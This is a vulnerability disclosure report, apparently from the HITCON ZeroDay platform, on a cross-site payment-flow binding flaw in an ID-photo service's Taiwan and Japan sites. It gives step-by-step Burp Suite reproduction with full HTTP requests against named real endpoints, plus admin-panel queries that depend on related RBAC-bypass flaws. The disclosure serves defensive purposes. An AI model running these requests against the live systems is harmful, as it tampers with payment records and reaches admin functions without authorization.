Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00965
- Vendor: 悟空科技股份有限公司
- Title: 悟空科技股份有限公司 台灣站與日本站付款流程綁定不足,導致可跨站別呼叫付款流程端點,並於同一訂單建立異常交易紀錄
- Introduction: 台灣站與日本站的付款流程驗證不足,導致不同站點的付款流程可被交叉使用,並在同一訂單下產生異常的未付款交易紀錄(payment trade)。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/07/28 10:27:01 : 新提交 (由 更新此狀態)
- 2026/07/28 11:16:02 : 新提交 (由 更新此狀態)
- 2026/07/28 12:04:04 : 新提交 (由 更新此狀態)
- 2026/08/03 12:59:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:02:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:02:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:02:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/27 03:00:24 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
參考資料
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
相關網址
https://diyidphoto.com/api/pay-ja
https://helper.diyidphoto.com/api/order/<OrderID>/payment
敘述
0. 摘要(Summary)
在正常情況下,台灣站 https://diyidphoto.com/zh-tw/ 與日本站 https://jp.diyidphoto.com/ 之訂單應只能走該站的付款流程。
但測試時發現:
- 日本站訂單可以被送進台灣站
/api/pay端點進行付款流程 - 台灣站訂單可以被送進日本站
/api/pay-ja端點進行PayPay付款流程 - 後端回傳
"error_code": 1001,或"error_code": 0並回傳相應付款流程的PayURL - 透過後台管理頁面的端點
https://helper.diyidphoto.com/api/order/<OrderID>/payment查詢同一OrderID的付款紀錄,可觀察到原有交易紀錄(trade)仍存在,但新增了一筆與原始訂單內容不一致的跨站別未付款交易紀錄 - 而此新的未付款交易紀錄會保存
PayMethod、Amount、RedirectURL、RequestJSON等跨站別付款流程資料
這代表兩站之後端未嚴格綁定付款流程相關資訊(例如訂單站別、付款流程端點、付款方法、webhook 等參數),導致後端可接受跨站別點的付款流程初始化(payment initialization)請求,並將該請求之參數儲存成同筆訂單的未付款交易紀錄。
這使攻擊者可在未完成實際付款的情況下,對既有訂單建立不符合原站別 / 原付款流程的未付款交易紀錄,導致交易紀錄資料被污染、付款流程相關參數被混淆,並可與另一項漏洞串聯(詳見日本站特定付款方式可被注入外部網域)。
1. 受影響功能(Affected Feature)
-
台灣站
https://diyidphoto.com/zh-tw/付款流程端點POST /api/pay
-
日本站
https://jp.diyidphoto.com/付款流程端點POST /api/pay-ja
-
後台管理頁面
helper.diyidphoto.com的訂單查詢與支付細節端點POST /api/orders/searchGET /api/order/<OrderID>/payment
2. 漏洞驗證之前置條件(Preconditions for Verification)
- 需要擁有一個可登入
helper.diyidphoto.com後台的 PB user 帳號,建議該帳號"role": ["admin"]會比較方便測試。可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。 - 不需實際付款或完成第三方金流交易等後續流程。
3. 重現步驟(Steps to Reproduce)與概念驗證(Proof of Concept)
以下重現步驟皆使用 Burp Suite 作為工具。
以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖,所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留,若需要可再補充。
共通準備流程
步驟 1:建立一筆台灣站訂單,並取得其 OrderID
在 Burp Suite 的瀏覽器連上台灣站 https://diyidphoto.com/zh-tw/ 上傳測試圖片,並一路進行到付款頁面;付款方式選擇街口支付、Line Pay 等掃碼式支付方式(以避免實際付款)。
在此以街口支付為例,填妥相關資料後點擊確定,接著網頁會跳轉到街口的 QR code 付款頁面。
步驟 2:查看台灣站正常付款流程
查看 Burp Suite 的 Proxy 頁籤中的 HTTP history,即可發現台灣站正常付款流程如下:
(2-1) 先到 tappaysdk 相關端點發送請求
POST /payment/jko-pay/production/get-prime
Host: js.tappaysdk.com
Content-Type: application/json
X-Api-Key: <X_Api_Key>
{
"app_id": "<App_Id>",
"app_key": "<X_Api_Key>",
"app_name": "diyidphoto.com",
"platform_type": 1,
"tappay_sdk_version": "v5.21.0"
}
而其 Response 如下:
{
"status": 0,
"msg": "Success",
"prime": "jk_c669bcc7d3ba1597c79103438f795c38e7f12ac8f87e1672746088f02d04052a",
"client_ip": "<IP>"
}
(2-2) 將 Response 的 prime 值帶入 /api/pay 請求
POST /api/pay HTTP/2
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8
{
"payType": "jkoPay",
"token": "<UUID>",
"prime": "jk_c669bcc7d3ba1597c79103438f795c38e7f12ac8f87e1672746088f02d04052a",
"email": "<Email>",
"order_id": "<OrderID>",
"photo_type": <Photo_Type>,
"invoice": "email",
"carrier_phone": "",
"carrier_natual": "",
"tax_number": "",
"tax_name": "",
"donate_code": "",
"method": "jko",
"webhook": "/zh-tw/takePhoto",
"mail": "",
"name": "",
"address": "",
"phone": "<Phone>",
"use_for_what": <Number>
}
在此請求中即可取得該筆訂單之 OrderID,而此請求之 Response 如下:
{
"error_code": 0,
"error_text": "",
"data": {
"final": "",
"formal": "",
"formal_711": "",
"formal_family": "",
"Redirect": true,
"PayURL": "<Tappaysdk_PayURL>",
"OrderID": "",
"OrderTime": "0001-01-01T00:00:00Z",
"PhotoType": 0,
"DPI": 0
}
}
步驟 3:將相關請求發送至 Repeater
將 HTTP history 中的 POST /payment/jko-pay/production/get-prime 與 POST /api/pay 請求都發送至 Burp Suite 的 Repeater;前者將用來進行路徑 A,後者則會用以進行路徑 B。
步驟 4:建立一筆日本站訂單,並取得其 OrderID
在 Burp Suite 的瀏覽器開啟另一個分頁,連上日本站 https://jp.diyidphoto.com/ 上傳測試圖片,並一路進行到付款頁面;お支払い方法選擇 paypay(以避免實際付款),填妥相關資料後點擊次へ,接著網頁會跳轉到 paypay 的 QR code 付款頁面。
步驟 5:查看日本站正常付款流程
查看 Burp Suite 的 HTTP history,即可發現日本站正常付款流程為向 /api/pay-ja 發送請求,如下:
POST /api/pay-ja HTTP/2
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8
{
"method": "paypay",
"token": "<UUID>",
"prime": "paypay",
"email": "<Email>",
"order_id": "<OrderID>",
"phone": "",
"passport_name": "<Name>",
"photo_name": "<Photo_Name>",
"photo_kind": <Photo_Kind>,
"webhook": "https://jp.diyidphoto.com/takePhoto",
"three_domain_secure": false,
"user_agent": "<User_Agent>"
}
在此請求中即可取得該筆訂單之 OrderID,而此請求之 Response 如下:
{
"error_code": 0,
"error_text": "",
"data": {
"final": "",
"formal": "",
"formal_711": "",
"Redirect": true,
"PayURL": "<PayPay_Cashier_URL>",
"OrderID": "<PayPay_OrderID>",
"OrderTime": "0001-01-01T00:00:00Z",
"PhotoType": 0,
"DPI": 0,
"share_code": ""
}
}
步驟 6:將日本站付款請求發送至 Repeater
將 HTTP history 中的 POST /api/pay-ja 請求發送至 Burp Suite 的 Repeater,以便進行路徑 A。
以下分成兩條路徑。
路徑 A:將日本站訂單送入台灣站付款流程
步驟 7:取得最新的 prime 值
在 Burp Suite 的 Repeater 頁籤中,重送一次 POST /payment/jko-pay/production/get-prime 請求,以取得最新的 prime 值。
步驟 8:修改日本站付款請求
修改 Repeater 中的 POST /api/pay-ja 請求:
- 8-1 修改
method為jko - 8-2
prime參數帶入剛剛取得的最新prime值 - 8-3 將端點
/api/pay-ja修改為/api/pay,此為台灣站付款流程端點 - 8-4 建議刪除參數
passport_name與photo_name,以避免重送請求時漢字變成亂碼而導致錯誤(若passport_name使用英文名字,則無需刪除)
整體請求應如以下:
POST /api/pay HTTP/2
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8
{
"method": "jko",
"token": "<UUID>",
"prime": "<Jko_New_Prime>",
"email": "<Email>",
"order_id": "<OrderID>",
"phone": "",
"photo_kind": <Photo_Kind>,
"webhook": "https://jp.diyidphoto.com/takePhoto",
"three_domain_secure": false,
"user_agent": "<User_Agent>"
}
步驟 9:觀察付款端點的 Response
送出上述修改後的請求,會發現 Response HTTP/2 200 OK,但顯示
{
"error_code": 1001,
"error_text": "付款失敗: curl https://prod.tappaysdk.com/tpc/payment/pay-by-prime Failed: Invalid arguments : result_url > frontend_redirect_url (taypay status: 628)",
"data": null
}
步驟 10:登入後台管理頁面
瀏覽器另一個分頁開啟 https://helper.diyidphoto.com/login ,並使用已建立的帳號及密碼登入。可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。
步驟 11:利用後台訂單查詢(/orders)功能,查詢訂單狀態
順利登入後,點擊左上角 DIY 旁類似雙彎曲箭頭的按鈕,會切換至日本站後台(DIYJP),點選左側管理控制面板(admin panel)進入訂單查詢(/orders)頁面,在關鍵字欄位輸入剛剛的日本站的 OrderID,並點擊關鍵字搜尋按鈕,可發現:
-
11-1 支付詳情為街口支付,金額顯示120元。
-
11-2 進行此操作後,從 Burp Suite 的 HTTP history 可見以下請求:
POST /api/orders/search?diy_type=ja HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
Content-Type: application/json
{"keyword":"<OrderID>"}
其 Response 可發現 amount 為 120 且 method 為街口支付,例如以下:
{
"orderID": "<OrderID>",
"token": "<Order_Token>",
"orderTime": "<OrderTime>",
"diyType": "ja",
"photoType": "Undefined",
"size": "4.5cm x 3.5cm",
"photoName": "マイナンバーカード",
"model": "",
"payment": {
"status": "未付款",
"amount": 120,
"method": "街口支付"
},
...
}
步驟 12:利用後台支付細節(payment detail)端點,查詢交易紀錄(trade)
從低權限後台帳號可繞過 RBAC可知,後台快洗證件照(/idphoto)提供支付細節查詢功能-其端點為 GET /api/order/<OrderID>/payment-可查看特定訂單的支付細節。
在 Burp Suite 的 HTTP history 中,將任一登入後台後的 Host: helper.diyidphoto.com 請求發送至 Repeater,並將其請求修改如以下:
GET /api/order/<OrderID>/payment HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
送出請求後,在 Response 可見:
{
"error_code": 0,
"error_text": "",
"data": {
"invoice": null,
"trades": [
{
"ID": <Trade_1_ID>,
"OrderID": "<OrderID>",
"IdempotentKey": "<IdempotentKey>",
"PayMethod": "paypay",
"TradeID": "",
"Amount": 500,
"Status": <Status>,
"Name": "<Name>",
"Email": "<Email>",
"phone": "",
"RedirectURL": "<PayPay_Cashier_URL>",
"RequestJSON": "<RequestJSON_1>",
"CreatedAt": "<CreatedAt_Date_Time_1>",
"UpdatedAt": "<UpdatedAt_Date_Time>"
},
{
"ID": <Trade_2_ID>,
"OrderID": "<OrderID>",
"IdempotentKey": "",
"PayMethod": "jko",
"TradeID": "<Jko_TradeID>",
"Amount": 120,
"Status": <Status>,
"Name": "",
"Email": "<Email>",
"phone": "<Phone>",
"RedirectURL": "<Tappaysdk_PayURL>",
"RequestJSON": "<RequestJSON_2>",
"CreatedAt": "<CreatedAt_Date_Time_2>",
"UpdatedAt": "<UpdatedAt_Date_Time>"
}
]
}
}
在 trades 可發現:
- 除了本來日本站點的交易紀錄,還多了一筆付款方式(PayMethod)為
jko(街口支付)且金額(Amount)為120的交易紀錄。 - 參數
RequestJSON的值(RequestJSON_2)經 base64 decode 後,可發現其保存了此次跨站別付款流程的相關資訊,其參數與值皆如我們修改後的請求
{
"method": "jko",
"token": "<UUID>",
"prime": "<Jko_New_Prime>",
"email": "<Email>",
"order_id": "<OrderID>",
"phone": "",
"passport_name": "<Name>",
"photo_name": "<Photo_Name>",
"photo_kind": <Photo_Kind>,
"webhook": "https://jp.diyidphoto.com/takePhoto",
"three_domain_secure": false,
"user_agent": "<User_Agent>"
}
路徑 B:將台灣站訂單送入日本站付款流程
步驟 13:修改台灣站付款請求
修改 Repeater 中的 POST /api/pay 請求:
-
13-1 修改
method與prime為paypay -
13-2 將端點
/api/pay修改為/api/pay-ja,此為日本站付款流程端點
整體請求應如以下:
POST /api/pay-ja HTTP/2
Host: diyidphoto.com
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
Content-Type: text/plain;charset=UTF-8
{
"payType": "jkoPay",
"token": "<UUID>",
"prime": "paypay",
"email": "<Email>",
"order_id": "<OrderID>",
"photo_type": <Photo_Type>,
"invoice": "email",
"carrier_phone": "",
"carrier_natual": "",
"tax_number": "",
"tax_name": "",
"donate_code": "",
"method": "paypay",
"webhook": "/zh-tw/takePhoto",
"mail": "",
"name": "",
"address": "",
"phone": "<Phone>",
"use_for_what": <Number>
}
步驟 14:觀察付款端點的 Response
送出上述修改後的請求後,會發現 Response HTTP/2 200 OK,且顯示
{
"error_code": 0,
"error_text": "",
"data": {
"final": "",
"formal": "",
"formal_711": "",
"Redirect": true,
"PayURL": "<PayPay_Cashier_URL>",
"OrderID": "<PayPay_OrderID>",
"OrderTime": "0001-01-01T00:00:00Z",
"PhotoType": 0,
"DPI": 0,
"share_code": ""
}
}
步驟 15:利用後台訂單查詢功能,查詢訂單狀態
確認後台管理頁面為台灣站後台(DIY),點選左側管理控制面板進入訂單查詢頁面,在關鍵字欄位輸入剛剛的台灣站的 OrderID,並點擊關鍵字搜尋按鈕,可發現:
-
15-1 付款方式為
paypay,金額顯示500元。 -
15-2 進行此操作後,從 Burp Suite 的 HTTP history 可見以下請求:
POST /api/orders/search?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
Content-Type: application/json
{"keyword":"<OrderID>"}
其 Response 可發現 amount 為 500 且 method 為PAY PAY,例如以下:
{
"orderID": "<OrderID>",
"token": "<Order_Token>",
"orderTime": "<OrderTime>",
"diyType": "tw",
"photoType": "5x5cm",
"size": "5.0cm x 5.0cm",
"photoName": "",
"model": "",
"payment": {
"status": "未付款",
"amount": 500,
"method": "PAY PAY"
},
...
}
步驟 16:利用後台支付細節端點,查詢交易紀錄
在 Burp Suite 的 HTTP history 中,將任一登入後台後的 Host: helper.diyidphoto.com 請求發送至 Repeater,並將其請求修改如以下:
GET /api/order/<OrderID>/payment HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
送出請求後,在 Response 可見:
{
"error_code": 0,
"error_text": "",
"data": {
"invoice": null,
"trades": [
{
"ID": <Trade_1_ID>,
"OrderID": "<OrderID>",
"IdempotentKey": "",
"PayMethod": "jko",
"TradeID": "<Jko_TradeID>",
"Amount": 120,
"Status": <Status>,
"Name": "",
"Email": "<Email>",
"phone": "<Phone>",
"RedirectURL": "<Tappaysdk_PayURL>",
"RequestJSON": "<RequestJSON_1>",
"CreatedAt": "<CreatedAt_Date_Time_1>",
"UpdatedAt": "<UpdatedAt_Date_Time>"
},
{
"ID": <Trade_2_ID>,
"OrderID": "<OrderID>",
"IdempotentKey": "<IdempotentKey>",
"PayMethod": "paypay",
"TradeID": "",
"Amount": 500,
"Status": <Status>,
"Name": "",
"Email": "<Email>",
"phone": "<Phone>",
"RedirectURL": "<PayPay_Cashier_URL>",
"RequestJSON": "<RequestJSON_2>",
"CreatedAt": "<CreatedAt_Date_Time_2>",
"UpdatedAt": "<UpdatedAt_Date_Time>"
}
]
}
}
在 trades 可發現:
- 除了本來台灣站點的交易紀錄,還多了一筆付款方式為
paypay且金額為500的交易紀錄。 - 參數
RequestJSON的值(RequestJSON_2)經 base64 decode 後,可發現其保存了此次跨站別付款流程的相關資訊,而參數會變成日本站的參數,其值如我們填入的值:
{
"email": "<Email>",
"phone": "<Phone>",
"prime": "paypay",
"token": "<UUID>",
"method": "paypay",
"webhook": "/zh-tw/takePhoto",
"order_id": "<OrderID>",
"photo_kind": <Photo_Kind>,
"photo_name": "<Photo_Name>",
"user_agent": "<User_Agent>",
"passport_name": "",
"three_domain_secure": false
}
4. 預期行為(Expected Behavior)
後端應在付款流程進行前對訂單做完整性檢查,檢查項目應包括以下:
- 這筆訂單屬於台灣站還是日本站
-
付款流程端點(
/api/pay或/api/pay-ja):- 是否符合該站別
- 相關參數-如付款方式(參數
method)等-是否符合該站所預期 webhook是否由後端產生,或至少經過後端核對(詳見日本站特定付款方式可被注入外部網域)
若上述任一項與後端不一致,應直接拒絕付款流程進行。
5. 實際行為(Actual Behavior)
後端對於付款流程相關資訊(例如訂單站別、付款流程端點、付款方法、webhook 等參數)綁定不足,導致:
- 台日兩站訂單能使用另一站的付款流程端點
- 台日兩站訂單能使用另一站的付款方式
- 會影響到付款金額與交易紀錄資料
6. 影響(Impact)
此問題會讓台日兩站之付款流程端點與付款方式可被跨站別混用,造成邏輯混淆,可能風險包括:
-
交易紀錄資料污染
同一訂單(OrderID)底下出現不符合原始站別或付款方法的交易紀錄,可造成後台管理人員判讀和稽核困難,或可能使營運統計資料產生混亂。 -
付款金額與幣別混淆
若後端未重新驗證異常交易紀錄的站別、付款方法與金額等相關參數,可能導致以不同金額與幣別進行付款。
7. 可能的根本原因(Likely Root Cause)
問題可能出在付款流程端點與其相關資訊綁定不完整,或後端未在付款流程進行前再次嚴格檢查相關參數。
可能原因包括:
-
付款流程端點
/api/pay與/api/pay-ja沒有嚴格拒絕跨站別點之訂單 -
後端過度信任前端傳入的
method、prime、webhook、order_id等參數 -
同一訂單新增交易紀錄前,沒有完整檢查站別或
method、amount等參數
8. 嚴重性評估(Severity Assessment)
高風險(High)
理由:
- 問題發生在付款流程-屬高敏感商業邏輯-且可導致付款方式、金額或幣別與預期不一致。
- 可在同一訂單底下新增異常的交易紀錄,污染交易紀錄資料造成判讀或稽核困難。
- 此問題可與另一項漏洞串聯(詳見日本站特定付款方式可被注入外部網域),增加網站管理人員被導向惡意網站的風險。
由於為維持最低限度測試,目前 沒有實際完成付款,因此若後續確認以下任一情況成立,則實際風險可能更高:
- 同一筆訂單在付款後,是否仍能再次進行
POST /api/pay或POST /api/pay-ja,再次進入付款流程、或再次付款。 - 同一筆訂單在付款後,若可再次進入付款流程,是否會反映在
/api/order/<OrderID>/payment的交易紀錄中,導致交易紀錄被污染;或增加網站管理人員被導向惡意網站的風險。 - 同一筆訂單在付款後,若可再次付款,以相同方式用在其他使用者的訂單上,是否會造成訂單資料、照片資料或付款流程狀態被覆寫、混淆或不當存取。
- 除了台灣站與日本站以外,其它站點的付款流程端點(例如
https://qkidphoto.goqoo.com/的/api/idphoto/pay端點)是否也存在相同問題(關於https://qkidphoto.goqoo.com/站點的發現,可見低權限後台帳號可繞過 RBAC)。
9. 補充說明(Researcher Note)
-
本報告之測試僅限確認漏洞存在,未進行批次化、大量化或自動化操作,也未進行破壞性操作。
-
由於此系統與技術牽涉到三家公司-台灣公司為誠和國際股份有限公司(
https://www.seiwainc.com.tw/)與悟空科技股份有限公司(https://www.goqoo.com/),日本公司為株式会社喜喜(https://jp.diyidphoto.com/)。就可見資料顯示(https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment),三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向,並且問題可牽涉到跨國站點,因此建議同時聯絡三間公司。
以下是三間公司之相關信箱:
誠和國際:[email protected]
悟空科技:[email protected]
DIY證件照-台灣站(悟空科技):[email protected]
DIY證件照-日本站(株式会社喜喜):[email protected]修補建議
## 修補建議(Remediation Suggestions)
1. 嚴格綁定訂單站別與該站之付款流程端點、付款方式與金額 / 幣別。
2. 後端應再次檢查付款流程端點及相關參數,若訂單站別、付款流程端點或付款方式與後端不一致,應直接拒絕進行付款流程。
3. 不應信任前端傳入的 `method`、`prime`、`webhook` 等參數,並依此決定金額 / 幣別或 `callback URL`。
4. 後台新增交易紀錄前應重新檢查站別或 `method`、`amount` 等相關參數,且應標示異常交易紀錄(例如標示 `站別不一致`、`付款方法不一致`、`金額 / 幣別不一致` 等),或阻擋異常交易紀錄的新增,以避免客服或後台管理人員誤信。